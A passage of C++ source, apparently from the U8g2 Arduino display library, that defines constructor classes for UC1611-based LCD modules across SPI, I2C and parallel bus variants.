U8G2_UC1611_EA_DOGXL240_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ea_dogxl240_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_EA_DOGXL240_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1611_EA_DOGXL240_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ea_dogxl240_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_EA_DOGXL240_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1611_EA_DOGXL240_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ea_dogxl240_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_EA_DOGXL240_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1611_EA_DOGXL240_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ea_dogxl240_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1611_EA_DOGXL240_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1611_EA_DOGXL240_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ea_dogxl240_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1611_EA_DOGXL240_F_6800 : public U8G2 {\n  public: U8G2_UC1611_EA_DOGXL240_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ea_dogxl240_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_EA_DOGXL240_F_8080 : public U8G2 {\n  public: U8G2_UC1611_EA_DOGXL240_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ea_dogxl240_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_EA_DOGXL240_1_SW_I2C : public U8G2 {\n  public: U8G2_UC1611_EA_DOGXL240_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_i2c_ea_dogxl240_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_UC1611_EA_DOGXL240_1_HW_I2C : public U8G2 {\n  public: U8G2_UC1611_EA_DOGXL240_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_i2c_ea_dogxl240_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_UC1611_EA_DOGXL240_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_UC1611_EA_DOGXL240_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_i2c_ea_dogxl240_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_UC1611_EA_DOGXL240_2_SW_I2C : public U8G2 {\n  public: U8G2_UC1611_EA_DOGXL240_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_i2c_ea_dogxl240_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_UC1611_EA_DOGXL240_2_HW_I2C : public U8G2 {\n  public: U8G2_UC1611_EA_DOGXL240_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_i2c_ea_dogxl240_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_UC1611_EA_DOGXL240_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_UC1611_EA_DOGXL240_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_i2c_ea_dogxl240_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_UC1611_EA_DOGXL240_F_SW_I2C : public U8G2 {\n  public: U8G2_UC1611_EA_DOGXL240_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_i2c_ea_dogxl240_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_UC1611_EA_DOGXL240_F_HW_I2C : public U8G2 {\n  public: U8G2_UC1611_EA_DOGXL240_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_i2c_ea_dogxl240_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_UC1611_EA_DOGXL240_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_UC1611_EA_DOGXL240_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_i2c_ea_dogxl240_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_UC1611_EW50850_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_UC1611_EW50850_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ew50850_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_EW50850_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1611_EW50850_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ew50850_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_EW50850_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1611_EW50850_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ew50850_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_EW50850_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1611_EW50850_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ew50850_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1611_EW50850_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1611_EW50850_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ew50850_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1611_EW50850_1_6800 : public U8G2 {\n  public: U8G2_UC1611_EW50850_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ew50850_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_EW50850_1_8080 : public U8G2 {\n  public: U8G2_UC1611_EW50850_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ew50850_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_EW50850_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_UC1611_EW50850_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ew50850_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_EW50850_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1611_EW50850_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ew50850_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_EW50850_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1611_EW50850_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ew50850_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_EW50850_2_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1611_EW50850_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ew50850_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1611_EW50850_2_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1611_EW50850_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ew50850_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1611_EW50850_2_6800 : public U8G2 {\n  public: U8G2_UC1611_EW50850_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ew50850_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_EW50850_2_8080 : public U8G2 {\n  public: U8G2_UC1611_EW50850_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ew50850_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_EW50850_F_4W_SW_SPI : public U8G2 {\n  public: U8G2_UC1611_EW50850_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ew50850_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_EW50850_F_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1611_EW50850_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ew50850_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_EW50850_F_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1611_EW50850_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ew50850_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_EW50850_F_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1611_EW50850_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ew50850_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1611_EW50850_F_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1611_EW50850_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ew50850_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1611_EW50850_F_6800 : public U8G2 {\n  public: U8G2_UC1611_EW50850_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ew50850_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_EW50850_F_8080 : public U8G2 {\n  public: U8G2_UC1611_EW50850_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_ew50850_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_EW50850_1_SW_I2C : public U8G2 {\n  public: U8G2_UC1611_EW50850_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_i2c_ew50850_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_UC1611_EW50850_1_HW_I2C : public U8G2 {\n  public: U8G2_UC1611_EW50850_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_i2c_ew50850_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_UC1611_EW50850_1_2ND_HW_I2C : public U8G2 {\n  public: U8G2_UC1611_EW50850_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_i2c_ew50850_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_UC1611_EW50850_2_SW_I2C : public U8G2 {\n  public: U8G2_UC1611_EW50850_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_i2c_ew50850_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_UC1611_EW50850_2_HW_I2C : public U8G2 {\n  public: U8G2_UC1611_EW50850_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_i2c_ew50850_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_UC1611_EW50850_2_2ND_HW_I2C : public U8G2 {\n  public: U8G2_UC1611_EW50850_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_i2c_ew50850_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_UC1611_EW50850_F_SW_I2C : public U8G2 {\n  public: U8G2_UC1611_EW50850_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_i2c_ew50850_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8G2_UC1611_EW50850_F_HW_I2C : public U8G2 {\n  public: U8G2_UC1611_EW50850_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_i2c_ew50850_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8G2_UC1611_EW50850_F_2ND_HW_I2C : public U8G2 {\n  public: U8G2_UC1611_EW50850_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_i2c_ew50850_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8G2_UC1611_CG160160_1_4W_SW_SPI : public U8G2 {\n  public: U8G2_UC1611_CG160160_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_cg160160_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_CG160160_1_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1611_CG160160_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_cg160160_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_CG160160_1_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1611_CG160160_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_cg160160_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_CG160160_1_3W_SW_SPI : public U8G2 {\n  public: U8G2_UC1611_CG160160_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_cg160160_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8G2_UC1611_CG160160_1_3W_HW_SPI : public U8G2 {\n  public: U8G2_UC1611_CG160160_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_cg160160_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8G2_UC1611_CG160160_1_6800 : public U8G2 {\n  public: U8G2_UC1611_CG160160_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_cg160160_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_CG160160_1_8080 : public U8G2 {\n  public: U8G2_UC1611_CG160160_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_cg160160_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_CG160160_2_4W_SW_SPI : public U8G2 {\n  public: U8G2_UC1611_CG160160_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_cg160160_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_CG160160_2_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1611_CG160160_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_cg160160_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8G2_UC1611_CG160160_2_2ND_4W_HW_SPI : public U8G2 {\n  public: U8G2_UC1611_CG160160_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() {\n    u8g2_Setup_uc1611_cg160160_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, 